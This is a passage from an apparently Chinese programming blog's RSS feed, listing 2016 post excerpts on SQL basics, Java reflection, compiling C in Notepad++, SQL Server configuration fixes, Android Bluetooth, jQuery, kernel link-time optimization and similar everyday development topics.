      <description>1.创建数据库：&#xA;CREATE DATABASE my_db;&#xA;2.创建表：&#xA;CREATE TABLE Persons ( Id_P int, LastName varchar(255), FirstName varchar(255), Address varchar(255), City varchar(255) ) 数据类型： int smallint tinyint 整数 ， char(size) 容纳固定长度的字符串，&#xA;varchar(size) 容纳可变长度的字符串，&#xA;date(yyyymmddd) 容纳日期。&#xA;3.约束：&#xA;NOT NULL 约束强制列不接受 NULL 值。&#xA;UNIQUE 约束唯一标识数据库表中的每条记录。&#xA;PRIMARY KEY PRIMARY KEY 约束唯一标识数据库表中的每条记录。&#xA;FOREIGN KEY 一个表中的 FOREIGN KEY 指向另一个表中的 PRIMARY KEY。&#xA;CHECK 约束用于限制列中的值的范围。&#xA;DEFAULT 约束用于向列中插入默认值。&#xA;3.1.Not Null&#xA;CREATE TABLE Persons ( Id_P int NOT NULL, LastName varchar(255) NOT NULL, FirstName varchar(255), Address varchar(255), City varchar(255) ) 3.</description>
    </item>
    <item>
      <title>java反射机制 及 Method.invoke，Class. getMethod()的使用</title>
      <link>https://bchobby.github.io/posts/b1ff9365c84b5b45dd05369042255426/</link>
      <pubDate>Wed, 21 Sep 2016 16:27:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b1ff9365c84b5b45dd05369042255426/</guid>
      <description>JAVA反射机制&#xA;JAVA反射机制是在运行状态中，对于任意一个类，都能够知道这个类的所有属性和方法；对于任意一个对象，都能够调用它的任意一个方法；这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。&#xA;Java反射机制主要提供了以下功能： 在运行时判断任意一个对象所属的类；在运行时构造任意一个类的对象；在运行时判断任意一个类所具有的成员变量和方法；在运行时调用任意一个对象的方法；生成动态代理。&#xA;Java反射机制主要提供了以下功能： 在运行时判断任意一个对象所属的类；在运行时构造任意一个类的对象；在运行时判断任意一个类所具有的成员变量和方法；在运行时调用任意一个对象的方法；生成动态代理。&#xA;Class 众所周知Java有个Object 类，是所有Java 类的继承根源，其内声明了数个应该在所有Java 类中被改写的方法：hashCode()、equals()、clone()、toString()、getClass()等。其中getClass()返回一个Class 对象。 Class 类十分特殊。它和一般类一样继承自Object，其实体用以表达Java程序运行时的classes和interfaces，也用来表达enum、array、primitive Java types（boolean, byte, char, short, int, long, float, double）以及关键词void。当一个class被加载，或当加载器（class loader）的defineClass()被JVM调用，JVM 便自动产生一个Class 对象。如果您想借由“修改Java标准库源码”来观察Class 对象的实际生成时机（例如在Class的constructor内添加一个println()），这样是行不通的！因为Class并没有public constructor。 1. 得到某个对象的属性 public Object getProperty(Object owner, String fieldName) throws Exception { Class ownerClass = owner.getClass(); Field field = ownerClass.getField(fieldName); Object property = field.get(owner); return property; } Class ownerClass = owner.getClass()：得到该对象的Class。 Field field = ownerClass.getField(fieldName)：通过Class得到类声明的属性。 Object property = field.get(owner)：通过对象得到该属性的实例，如果这个属性是非公有的，这里会报IllegalAccessException。 2. 得到某个类的静态属性&#xA;public Object getStaticProperty(String className, String fieldName) throws Exception { Class ownerClass = Class.</description>
    </item>
    <item>
      <title>NotePad&#43;&#43;运行C,源目录生成,编译并运行</title>
      <link>https://bchobby.github.io/posts/72481d1a288a8f549489f00a77cecac6/</link>
      <pubDate>Wed, 21 Sep 2016 10:55:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/72481d1a288a8f549489f00a77cecac6/</guid>
      <description>NotePad++是一款轻型的免费软件，相对于VC等大型软件来说，具有简便高效的特点。如果我们能够使用NotePad++来编译运行C程序，那么可以说是非常方便的。&#xA;下面我们就来介绍一下如何用NotePad++来编写并运行C程序。&#xA;工具/原料 NotePad++ （百度搜索即得） TDM-GCC，或Dev C++ (文中有地址，或上官网下载)等 方法/步骤 1.下载软件并安装：NotePad++（利用文本编辑功能）&#xA;TDM-GCC（GCC编译器，GCC For Windows中比较方便的一个版本）百度TDM-GCC进入官网即可。这里为了方便，提供原版安装包：链接：http://pan.baidu.com/s/1o6HUxo2备用地址：链接:http://pan.baidu.com/s/1c01tGJ2 密码:2gey&#xA;或者Dev C++（利用内部的gcc编译器）Dev C++我是上官网下载的，这里为了方便，提供原版安装包：主链接：http://pan.baidu.com/s/1mgspFPe备用链接：http://pan.baidu.com/s/1ntyts4T 密码：tkdi&#xA;2.设置环境变量：&#xA;TDM-GCC已经设定好了环境变量，如果是Dev-Cpp，需要手动配置：&#xA;在&#34;计算机&#34;图标或按钮上，右键属性，有一个”高级系统设置“，点击这个按钮，修改。&#xA;如果存在Path属性，直接编辑，在最末尾加上个分号然后写上Dev-Cpp的安装路径至bin文件夹；不存在，直接新建，加上该条。&#xA;注：&#xA;如出现&#34;找不到命令&#34;的情况，即为未配置好环境变量，可能是编译器安装出现问题所致。请查找目录至bin文件夹，看有否gcc.exe文件。如未出现，即为安装问题。&#xA;3.创建文件：新建一个.c文件，输入#include&amp;lt;stdio.h&amp;gt;int main(){ printf(&#34;Hello World!\n&#34;); return 0;}并保存。&#xA;4.编译并运行：&#xA;单击菜单，选择最上选项”运行“，或直接按下F5。弹出运行窗口。&#xA;输入：cmd /k gcc -o &#34;$(CURRENT_DIRECTORY)\$(NAME_PART).exe&#34; &#34;$(FULL_CURRENT_PATH)&#34; &amp;amp;&amp;amp; CLS &amp;amp;&amp;amp; &#34;$(CURRENT_DIRECTORY)\$(NAME_PART).exe&#34; &amp;amp; PAUSE &amp;amp; EXIT单击运行即可。&#xA;也可以使用其他命令：&#xA;编译：&#xA;cmd /k gcc -Wall -o &#34;$(CURRENT_DIRECTORY)\$(NAME_PART).exe&#34; &#34;$(FULL_CURRENT_PATH)&#34; &amp;amp; PAUSE &amp;amp; EXIT&#xA;运行：&#xA;cmd /k &#34;$(CURRENT_DIRECTORY)\$(NAME_PART).exe&#34; &amp;amp; PAUSE &amp;amp; EXIT&#xA;5.命令行解释：&#xA;可以直接点击保存，弹出窗口，输入名称如”编译并运行 C“，并设定好快捷键。</description>
    </item>
    <item>
      <title>SQL Server配置管理器无法连接到 WMI 提供程序。您没有权限或者该服务器无法访问</title>
      <link>https://bchobby.github.io/posts/a6fbc5373803f9a1f02c1d8c9e3cd37e/</link>
      <pubDate>Tue, 20 Sep 2016 22:18:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a6fbc5373803f9a1f02c1d8c9e3cd37e/</guid>
      <description>今天在打开sql server 的时候打不开。报了一个错误，然后我打开sql server配置管理器，就看到了如下图这个错误。&#xA;然后就去网上搜了这个问题的解决方法，综合起来有以下几种：&#xA;第一种:&#xA;给数据库程序network service读取权限即可。&#xA;C:/Program Files/Microsoft SQL Server/90/Shared给这个目录增加network service权限或者 user权限就可以了，当然你加Everyone也行。&#xA;这种方法我都不知道怎么操作。。不会加。。&#xA;第二种: 检查一下 windows下的system32 中是否有framedyn.dll这个系统文件，如果没有到system32 下的wbem文件中拷贝framedyn.dll到system32 目录下。 我进到system32目录找framedyn.dll文件，果然没有找到，再进入system32/wbem目录，找framedyn.dll，拷贝到system32目下。&#xA;我的这个framedyn.dll文件原来就有的，所以这种方法对我无效。。&#xA;第三种:&#xA;开始运行Cmd.exe进命令行&#xA;进入安装目录cd /Program Files/Microsoft SQL Server/90/Shared&#xA;输入 mofcomp &#34;C:/Program Files/Microsoft SQL Server/90/Shared/sqlmgmproviderxpsp2up.mof&#34;&#xA;具体的路径要看你SQL的安装路径了&#xA;执行结果大致如下&#xA;Microsoft (R) 32-bit MOF Compiler Version 5.1.2600.2180&#xA;Copyright (c) Microsoft Corp. 1997-2001. All rights reserved.&#xA;Parsing MOF file: C:/Program Files/Microsoft SQL Server/90/Shared/sqlmgmprovider&#xA;xpsp2up.mof&#xA;MOF file has been successfully parsed&#xA;Storing data in the repository.</description>
    </item>
    <item>
      <title>AJAX请求传JSON数据</title>
      <link>https://bchobby.github.io/posts/a0d146187d87d8360a02638b7bd4f9ed/</link>
      <pubDate>Wed, 14 Sep 2016 10:41:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a0d146187d87d8360a02638b7bd4f9ed/</guid>
      <description> $.ajax({ url:templateRoot+&#34;user//getLogin&#34;, contentType: &#34;application/json&#34;, type:&#34;post&#34;, data:JSON.stringify({&#34;name&#34;:name,&#34;pwd&#34;:pwd}), dataType:&#34;json&#34;, success:function(data){ } }); 必须加上contentType: &#34;application/json&#34;这句。 </description>
    </item>
    <item>
      <title>php生成随机唯一邀请码/优惠码 固定长度UUID</title>
      <link>https://bchobby.github.io/posts/17f40a94c4af7b744ad13e040ceb19c2/</link>
      <pubDate>Tue, 13 Sep 2016 11:46:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17f40a94c4af7b744ad13e040ceb19c2/</guid>
      <description> function make_coupon_card() { mt_srand((double)microtime()*10000);//optional for php 4.2.0 and up. $charid = strtoupper(md5(uniqid(rand(), true))); $hyphen = chr(45);// &#34;-&#34; $uuid = //chr(123)// &#34;{&#34; substr($charid, 0, 8).$hyphen .substr($charid, 8, 4).$hyphen .substr($charid,12, 4).$hyphen .substr($charid,16, 4).$hyphen .substr($charid,20,12); //.chr(125);// &#34;}&#34; return $uuid; } </description>
    </item>
    <item>
      <title>时间冒泡</title>
      <link>https://bchobby.github.io/posts/3f7b300b0e97d85053fef215c9870819/</link>
      <pubDate>Mon, 12 Sep 2016 20:07:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f7b300b0e97d85053fef215c9870819/</guid>
      <description> 时间冒泡： 如果元素a嵌套在b中，那么a被点击不仅a的onclick事件会被触发，b的onclick也会被触发，触发的顺序由内而外 &amp;lt;input type=&#34;button&#34; value=&#34;click&#34; οnclick=&#34;alert(event.srcElement.value)&#34; /&amp;gt;//获取哪个按钮被按下 &amp;lt;input type=&#34;button&#34; value=&#34;你好&#34; οnclick=&#34;alert(this.value)&#34; /&amp;gt; 举例： &amp;lt;script type=&#34;text/javascript&#34;&amp;gt; function btnClick(btn){ alert(btn.value);//如果果这是this.value在这就获取不了，要把this从外边传过来 } &amp;lt;/script&amp;gt; &amp;lt;input type=&#34;button&#34; value=&#34;click&#34; οnclick=&#34;btnClick(this)&#34; /&amp;gt; 而event.srcElement.value不受此限制 &amp;lt;script type=&#34;text/javascript&#34;&amp;gt; function btnClick(){ alert(event.srcElement.value);//如果果这是this.value在这就获取不了，要把this从外边传过来 } &amp;lt;/script&amp;gt; &amp;lt;input type=&#34;button&#34; value=&#34;click&#34; οnclick=&#34; btnClick()&#34; /&amp;gt; </description>
    </item>
    <item>
      <title>zk 删除非空节点</title>
      <link>https://bchobby.github.io/posts/5183178a5e6c09ba3a889d60291fad50/</link>
      <pubDate>Fri, 09 Sep 2016 15:42:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5183178a5e6c09ba3a889d60291fad50/</guid>
      <description>Connecting to localhost:2181 2016-09-09 15:29:06,788 [myid:] - INFO [main:Environment@100] - Client environment:zookeeper.version=3.4.6-1569965, built on 02/20/2014 09: 09 GMT 2016-09-09 15:29:06,793 [myid:] - INFO [main:Environment@100] - Client environment:host.name=10.1.39.11 2016-09-09 15:29:06,794 [myid:] - INFO [main:Environment@100] - Client environment:java.version=1.8.0_92 2016-09-09 15:29:06,798 [myid:] - INFO [main:Environment@100] - Client environment:java.vendor=Oracle Corporation 2016-09-09 15:29:06,799 [myid:] - INFO [main:Environment@100] - Client environment:java.home=C:\Program Files\Java\jre1.8.0_92 2016-09-09 15:29:06,799 [myid:] - INFO [main:Environment@100] - Client environment:java.class.path=E:\work_new\wk_as\zookeeper-3.4.6\bin\.. \build\classes;E:\work_new\wk_as\zookeeper-3.4.6\bin\..\build\lib\*;E:\work_new\wk_as\zookeeper-3.4.6\bin\..\zookeeper-3.4.6.jar;E:\work_new \wk_as\zookeeper-3.4.6\bin\..\lib\jline-0.9.94.jar;E:\work_new\wk_as\zookeeper-3.4.6\bin\..\lib\log4j-1.2.16.jar;E:\work_new\wk_as\zookeeper -3.4.6\bin\..\lib\netty-3.7.0.Final.jar;E:\work_new\wk_as\zookeeper-3.4.6\bin\..\lib\slf4j-api-1.6.1.jar;E:\work_new\wk_as\zookeeper-3.4.6\b in\..\lib\slf4j-log4j12-1.6.1.jar;E:\work_new\wk_as\zookeeper-3.4.6\bin\..\conf 2016-09-09 15:29:06,800 [myid:] - INFO [main:Environment@100] - Client environment:java.</description>
    </item>
    <item>
      <title>linux命令—文件压缩解压缩</title>
      <link>https://bchobby.github.io/posts/3b57190bb5c8a39cef272d5c913041a4/</link>
      <pubDate>Thu, 08 Sep 2016 14:21:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b57190bb5c8a39cef272d5c913041a4/</guid>
      <description>!/bin/bash http://www.runoob.com/linux/linux-command-manual.html # zip命令用于压缩文件 # 参数： # -A 调整可执行的自动解压缩文件。 # -b&amp;lt;工作目录&amp;gt; 指定暂时存放文件的目录。 # -c 替每个被压缩的文件加上注释。 # -d 从压缩文件内删除指定的文件。 # -D 压缩文件内不建立目录名称。 # -f 此参数的效果和指定&#34;-u&#34;参数类似，但不仅更新既有文件，如果某些文件原本不存在于压缩文件内，使用本参数会一并将其加入压缩文件中。 # -F 尝试修复已损坏的压缩文件。 # -g 将文件压缩后附加在既有的压缩文件之后，而非另行建立新的压缩文件。 # -h 在线帮助。 # -i&amp;lt;范本样式&amp;gt; 只压缩符合条件的文件。 # -j 只保存文件名称及其内容，而不存放任何目录名称。 # -J 删除压缩文件前面不必要的数据。 # -k 使用MS-DOS兼容格式的文件名称。 # -l 压缩文件时，把LF字符置换成LF+CR字符。 # -ll 压缩文件时，把LF+CR字符置换成LF字符。 # -L 显示版权信息。 # -m 将文件压缩并加入压缩文件后，删除原始文件，即把文件移到压缩文件中。 # -n&amp;lt;字尾字符串&amp;gt; 不压缩具有特定字尾字符串的文件。 # -o 以压缩文件内拥有最新更改时间的文件为准，将压缩文件的更改时间设成和该文件相同。 # -q 不显示指令执行过程。 # -r 递归处理，将指定目录下的所有文件和子目录一并处理。 # -S 包含系统和隐藏文件。 # -t&amp;lt;日期时间&amp;gt; 把压缩文件的日期设成指定的日期。 # -T 检查备份文件内的每个文件是否正确无误。 # -u 更换较新的文件到压缩文件内。 # -v 显示指令执行过程或显示版本信息。 # -V 保存VMS操作系统的文件属性。 # -w 在文件名称里假如版本编号，本参数仅在VMS操作系统下有效。 # -x&amp;lt;范本样式&amp;gt; 压缩时排除符合条件的文件。 # -X 不保存额外的文件属性。 # -y 直接保存符号连接，而非该连接所指向的文件，本参数仅在UNIX之类的系统下有效。 # -z 替压缩文件加上注释。 # -$ 保存第一个被压缩文件所在磁盘的卷册名称。 # -&amp;lt;压缩效率&amp;gt; 压缩效率是一个介于1-9的数值。 # 压缩文件（要压缩的文件：xaa、xab；压缩后的文件：tmp.</description>
    </item>
    <item>
      <title>Android蓝牙开发教程（二）——连接蓝牙设备</title>
      <link>https://bchobby.github.io/posts/65617b92667eacb762203a052488fe8d/</link>
      <pubDate>Tue, 06 Sep 2016 11:01:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65617b92667eacb762203a052488fe8d/</guid>
      <description>在上一篇中已经介绍如何搜索附近可连接的蓝牙设备，如果你还没阅读过，建议先看看上一篇文章Android蓝牙开发教程（一）——搜索蓝牙设备 获取到设备后就可以开始处理蓝牙设备之间的连接。 在上一篇教程中我们将搜索到的蓝牙设备展示在列表中，现在我们为列表项增加上点击事件。 listView.setOnItemClickListener(new AdapterView.OnItemClickListener() { @Override public void onItemClick(AdapterView&amp;lt;?&amp;gt; parent, View view, int position, long id) { if (bTAdatper.isDiscovering()) { bTAdatper.cancelDiscovery(); } BluetoothDevice device = (BluetoothDevice) adapter.getItem(position); //连接设备 connectDevice(device); } }); 当我们点击了列表项后，如果蓝牙设备当前处于搜索状态，则取消搜索。获取到列表项相对应的蓝牙设备后调用连接方法。 /** * 连接蓝牙设备 */ private void connectDevice(BluetoothDevice device) { text_state.setText(getResources().getString(R.string.connecting)); try { //创建Socket BluetoothSocket socket = device.createRfcommSocketToServiceRecord(BT_UUID); //启动连接线程 connectThread = new ConnectThread(socket, true); connectThread.start(); } catch (IOException e) { e.printStackTrace(); } } 可以看到，在connectDevice()方法中，首先用一个TextView提示连接状态，然后用我们选择的设备调用createRfcommSocketToServiceRecord（UUID uuid）获取BluetoothSocket。最后开启一个线程去处理BluetoothSocket。 这里需要注意的是传入的UUID。UUID是Universally Unique Identifier的缩写，它是在一定的范围内（从特定的名字空间到全球）唯一的机器生成的标识符。我们在连接蓝牙设备的时候，必须确保两个设备的UUID是相同的。通常UUID是16字节128位长的数字，通常以36字节的字符串表示，示例如下： 3F2504E0-4F89-11D3-9A0C-0305E82C3301。 //如果是自动连接 则调用连接方法 if (activeConnect) { socket.</description>
    </item>
    <item>
      <title>Debugger failed to attach: handshake failed - connection prematurally closed 解决方法</title>
      <link>https://bchobby.github.io/posts/ace509bb76016de2e61dcb7ac616e7ab/</link>
      <pubDate>Mon, 05 Sep 2016 15:34:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ace509bb76016de2e61dcb7ac616e7ab/</guid>
      <description>之前一直远程调试服务器。&#xA;Tomcat 40003端口&#xA;后来发现这个服务器的端口被关掉了。然后tomcat log 就在一直报Debugger failed to attach: handshake failed - connection prematurally closed。&#xA;所以解决版本基本上就是换个端口或者把远程调试关掉。&#xA;关掉的意思就是&#xA;#JAVA_OPTS=&#34;-agentlib:jdwp=transport=dt_socket,address=40003,suspend=n,server=y&#34;</description>
    </item>
    <item>
      <title>JGit</title>
      <link>https://bchobby.github.io/posts/dcb5d151355133fce583a734bb25255c/</link>
      <pubDate>Mon, 05 Sep 2016 11:11:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dcb5d151355133fce583a734bb25255c/</guid>
      <description>如果你想知道像 git init , git checkout 等等的基本 Git 命令是如何在 JGit 上运行的话，请往下看。&#xA;本教程提供了最常用的 git 命令以及它们在 JGit 上对应部分的概述。本教程将依次介绍：创建一个存储库，从远程获取内容，向历史版本中添加和删除文件，检查历史操作，并最终将更改的文件推回到原始存储库。&#xA;JGit 提供了一个类似于 Git 高级命令的 API，你会在 JGit 里面的命令行用这个代码&#xA;git.commit().setMessage( &#34;My first commit&#34; ).call(); 代替&#xA;git commit -m &#34;My first commit&#34; 所有的 JGit 命令 有一个 call() 方法，在命令被建立之后用来实际执行它。这些类的命名是在各自的 Git 命令后加上后缀命令。虽然有些命令提供一个公共构造函数，还是建议使用 Git 的工厂类来创建命令，如在上面的示例中所示。&#xA;获取库 但是在更深入到 JGit API 之前，让我们先得到库。最常见的取得 JGit 的方法可能就是从 Maven 仓库中取。但是如果你更喜欢 OSGi 捆绑，也有 P2 仓库供你使用。 下载页面 上列出了整合该库的必要信息。&#xA;对于本文所涉及的范围来说，整合在 project/bundle 下的 org. Eclipse .jgit 核心库已经足够了。如果你对其他 JGit 的源代码库感兴趣， 我推荐阅读 JGit 资源介绍</description>
    </item>
    <item>
      <title>神器gist</title>
      <link>https://bchobby.github.io/posts/cc99867b51d711390a087a80e06723b6/</link>
      <pubDate>Fri, 02 Sep 2016 06:09:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc99867b51d711390a087a80e06723b6/</guid>
      <description> gist可以无限制的创建私有的代码片段gist可以当作版本管理的工具在phpstorm下使用gist，只需要右键，然后gist提交就可以了。&#xA;gist的网址https://gist.github.com/+你的用户名在gist中可以写简介，更方便你查找自己的代码片段 </description>
    </item>
    <item>
      <title>错误: -source 1.6 中不支持 diamond 运算符的解决办法</title>
      <link>https://bchobby.github.io/posts/22fa98c7f41c7d74c0598ea70d3f0905/</link>
      <pubDate>Thu, 01 Sep 2016 23:30:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/22fa98c7f41c7d74c0598ea70d3f0905/</guid>
      <description>在取一段github代码时，发现说是支持jdk 7 ，但是使用MAVEN编译不过去。&#xA;报错信息为错误: -source 1.6 中不支持 diamond 运算符&#xA;我使用的环境是1.7 + intellij idea&#xA;解决思路：&#xA;1.检查ide的默认编译环境 ，快捷键ctrl + alt +s&#xA;找Java Compiler ，发现设置是 Target bytencode version 是1.6 改成1.7 发现还是报错。&#xA;2.检查项目的SDK选择和项目语言level 都改成1.7 和7&#xA;发现还是报错&#xA;3.检查项目的 Modules 中的language level 改成 7 发现还是报错&#xA;4.检查maven的compile plugin 插件 由1.6改成1.7&#xA;成功。&#xA;造成此问题的原因在于：&#xA;private static MessageFactory&amp;lt;IsoMessage&amp;gt; txtfact = new MessageFactory&amp;lt;&amp;gt;(); 其实改成这个样子也是能够解决编译不够去的问题的。 private static MessageFactory&amp;lt;IsoMessage&amp;gt; txtfact = new MessageFactory&amp;lt;IsoMessage&amp;gt;(); 如果一开始导入项目时项目不报错，但是再maven compile编译的时候报错，就应该想到是maven的问题。&#xA;失误！</description>
    </item>
    <item>
      <title>Link-time optimization LTO分析</title>
      <link>https://bchobby.github.io/posts/7e0582466d1fb8ede277a4ccc91a6d53/</link>
      <pubDate>Wed, 31 Aug 2016 09:33:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e0582466d1fb8ede277a4ccc91a6d53/</guid>
      <description> 参考Link-time optimization for the kernel —— 2012&#xA;内核开发人员总是在寻找让系统运行更快的方法，在优化方面投入了大量的工作。所以当一个不需要重写关键性能相关的代码就可以让内核变得更快的机会出现时，很自然的，吸引了很多人的兴趣。新版本gcc支持的Link time optimizations LTO功能是不是这样的一个机会还有待验证，但是Andi Kleen决定去找出来。&#xA;LTO背后的理念是： 通过检查编译完单独文件后的整个程序，探索可能出现的任何优化机会。最重要的机会是小函数的inlining。编译器也可以更积极的检测和消除为使用的代码和数据。当源文件编译时，LTO将编译器中间表示（GIMPLE，与机器无关的中间表示）放入到目标文件中。实际LTO阶段加载所有的GIMPLE代码到一个单一核心的映像中，重写进一步优化的目标代码。 LTO功能最开始在GCC4.5上出现，但是在4.7上才变得可用。但是它仍然有一些限制，其中一个就是：所有涉及的对象文件都必须使用相同的命令行选项来编译。下面将讲到，这个限制对于kernel来说是一个问题。 Andi的LTO补丁包含了74个改动，不是一个小的改动，而且是侵入性的。但是大部分改动具有相同的基本范围：确保编译器知道特定的symbols（即使没有用到）；所以LTO阶段将不会优化它们。举个例子来说，导出到模块的symbols可能没有任何的调用者，但是他们需要保留下来，应为可能有module后来加载进来。为此，Andi第一个补丁定义了一个新属性（__visible）用来标记这些symbols，大部分其他的补丁都是致力于将__visible属性加入到需要的地方。 此外，当使用LTO构建Kernel时还会出现一小部分的固定或特定问题。当长参数列表的函数在LTO阶段inlined的话，看可能会导致一些参数被破坏，为了阻止这种情况发生，将这些函数标记为noinline。Andi抱怨“我希望有一个通用的方式来做这件事，这就像一个定时炸弹问题”。他承认LTO可能会引入新的优化相关的bug，找到所有的这些bug是一个难题。 接着说所有文件需要使用相同的选项来编译的问题。当前kernel不是这样构建的，不同的部分使用不同的选项。一些地方，可禁用特定的优化，一些地方则禁用LTO。 使用新版本gcc是必要的，同时需要安装一个development版本的binutils。使用LTO，即使是一个小的kernel构建，也需要4GB的内存，allyesconfig更多，需要9GB。 实际上，大部分人不想用LTO。因为LTO可能会引入微妙的bugs、优化相关的误解，甚至LTO功能本身也可能存在问题，所以在使用LTO来构建产品的Kernel之前需要广泛的测试。 鉴于以上挑战，补丁包的尺寸和维护的负担，人们可能会怀疑，使用LTO是否值得。这就涉及到了加入LTO，kernel究竟会有多快？ 现在还没有得到准确的数据，LTO补丁是新的，同时还有许多问题需要处理。Andi报告&#34;hackbench&#34; benchmark表明提升了5%，一些网络benchmarks提升了18%。这几个数字是粗糙的，但是足以鼓励进一步的工作，Andi也希望GCC提升LTO的实现。 Andi还建议，从长期来看，通过消除将inline函数放到include文件的需要，LTO可以帮助提升kernel代码的质量。 所有的这些都只是该补丁的早期开发阶段，不太可能merge到近期的kernel中，即使作为一个试验性的功能也不可能。长期来看，它可以让kernel更快。此外，kernel中使用LTO会帮驱动GCC实现，进一步所有项目都会受益。因此，值得关注此事。 总结：&#xA;1. LTO实验性太强，它不是完全可靠，缺少大量实验。 2. Patch只针对X86平台，且对编译器版本有一定的要求。 3. 主要目的是提升CPU速度，而不是删减尺寸。 4. 编译时间变长 </description>
    </item>
    <item>
      <title>JQuery中each()的使用方法一</title>
      <link>https://bchobby.github.io/posts/68635ec1a6d69166622920f113b44425/</link>
      <pubDate>Wed, 31 Aug 2016 09:09:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/68635ec1a6d69166622920f113b44425/</guid>
      <description>对于jQuery对象，只是把each方法简单的进行了委托：把jQuery对象作为第一个参数传递给jQuery的each方法.换句话说：jQuery提供的each方法是对参数一提供的对象的中所有的子元素逐一进行方法调用： each()函数是基本上所有的框架都提供了的一个工具类函数，通过它，你可以遍历对象、数组的属性值并进行处理。jQuery和jQuery对象都实 现了该方法，对于jQuery对象，只是把each方法简单的进行了委托：把jQuery对象作为第一个参数传递给jQuery的each方法.换句话 说：jQuery提供的each方法是对参数一提供的对象的中所有的子元素逐一进行方法调用。而jQuery对象提供的each方法则是对jQuery内 部的子元素进行逐个调用。&#xA;each函数根据参数的类型实现的效果不完全一致：&#xA;1、遍历对象(有附加参数)&#xA;代码如下: $.each(Object, function(p1, p2) { this; //这里的this指向每次遍历中Object的当前属性值 p1; p2; //访问附加参数 }, [&#39;参数1&#39;, &#39;参数2&#39;]); 2、遍历数组(有附件参数)&#xA;代码如下: $.each(Array, function(p1, p2){ this; //这里的this指向每次遍历中Array的当前元素 p1; p2; //访问附加参数 }, [&#39;参数1&#39;, &#39;参数2&#39;]); 3、遍历对象(没有附加参数)&#xA;代码如下: $.each(Object, function(name, value) { this; //this指向当前属性的值 name; //name表示Object当前属性的名称 value; //value表示Object当前属性的值 }); 4、遍历数组(没有附加参数)&#xA;代码如下: $.each(Array, function(i, value) { this; //this指向当前元素 i; //i表示Array当前下标 value; //value表示Array当前元素 }); 下面提一下jQuery的each方法的几种常用的用法&#xA;var arr = [ &#34;one&#34; , &#34;two&#34; , &#34;three&#34; , &#34;</description>
    </item>
    <item>
      <title>宝宝不哭 旋转效果</title>
      <link>https://bchobby.github.io/posts/8510b221984569adde94b6ca0f601b5a/</link>
      <pubDate>Sun, 28 Aug 2016 22:34:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8510b221984569adde94b6ca0f601b5a/</guid>
      <description>&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html lang=&#34;en&#34;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt;&#xA;&amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt;&#xA;&amp;lt;style&amp;gt;&#xA;*{&#xA;margin: 0;&#xA;padding: 0;&#xA;}&#xA;body{&#xA;font: 8em &#39;微软雅黑&#39;;&#xA;padding: 200px;&#xA;}&#xA;.zhi{&#xA;margin: 0.2em;&#xA;color: #369;&#xA;position: relative;&#xA;}&#xA;.zhi::before,.zhi::after{&#xA;content: attr(data-zhi);&#xA;position: absolute;&#xA;top: 0;&#xA;left: 0;&#xA;transform-origin: left top;&#xA;transition: all 0.3s;&#xA;}&#xA;.zhi::before{&#xA;color: #fff;&#xA;z-index: 3;&#xA;transform: rotateY(-15deg);&#xA;}&#xA;.zhi::after{&#xA;color: rgba(0,0,0,.2);&#xA;transform: scale(1.1,1);&#xA;z-index: 2;&#xA;}&#xA;.zhi:hover::before{&#xA;color: #fafafa;&#xA;transform: rotateY(-40deg) skewY(3deg);&#xA;}</description>
    </item>
    <item>
      <title>No service of type Factory available in ProjectScopeServices</title>
      <link>https://bchobby.github.io/posts/f8cb5203c57cb3d158b6e14f6f98df75/</link>
      <pubDate>Fri, 26 Aug 2016 21:30:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f8cb5203c57cb3d158b6e14f6f98df75/</guid>
      <description>将AS2.0升到2.1.3出现的问题：&#xA;Noservice of type Factory available in ProjectScopeServices&#xA;在项目中找到build.gradle这个文件，然后在dependencies中 将版本改为1.4.1即可 classpath &#39;com.github.dcendents:android-maven-gradle-plugin:1.4.1&#39;</description>
    </item>
    <item>
      <title>电脑锁屏 快捷方式设置</title>
      <link>https://bchobby.github.io/posts/6a1c66f031e296dc22af250d54f03f0b/</link>
      <pubDate>Fri, 26 Aug 2016 08:31:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a1c66f031e296dc22af250d54f03f0b/</guid>
      <description>要锁定桌面，通常的做法是按下组合键Ctrl+Alt+Del，打开“Windows任务管理器”对话框，然后选择“关机”→“锁定计算机”，或者直接按组合键“Windows键+L”。可是习惯了使用鼠标操作的用户，会更希望在桌面上有一个能够锁定计算机的快捷方式，通过双击它而达到锁定计算机的目的。下面这种方法可以帮助我们建立这样一个快捷方式。 1、在桌面的空白处单击右键，然后选择“新建”→“快捷方式”。 2、在“创建快捷方式”对话框中输入“rundll32.exe user32.dll,LockWorkStation”，并单击“下一步”。 3、在“选择程序标题”对话框中输入快捷方式的名称“锁定桌面”，并单击“完成”按钮。 这样就在桌面上创建了一个名为“锁定桌面”的快捷方式，只要双击它，就可以实现桌面的锁定了。要解除锁定，只需输入您在Windows XP中的登录用户名和密码即可。</description>
    </item>
    <item>
      <title>python unittest 测试笔记(一）</title>
      <link>https://bchobby.github.io/posts/0cc99f0cbf76aa3107ecd7fb28582f3b/</link>
      <pubDate>Thu, 25 Aug 2016 15:17:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0cc99f0cbf76aa3107ecd7fb28582f3b/</guid>
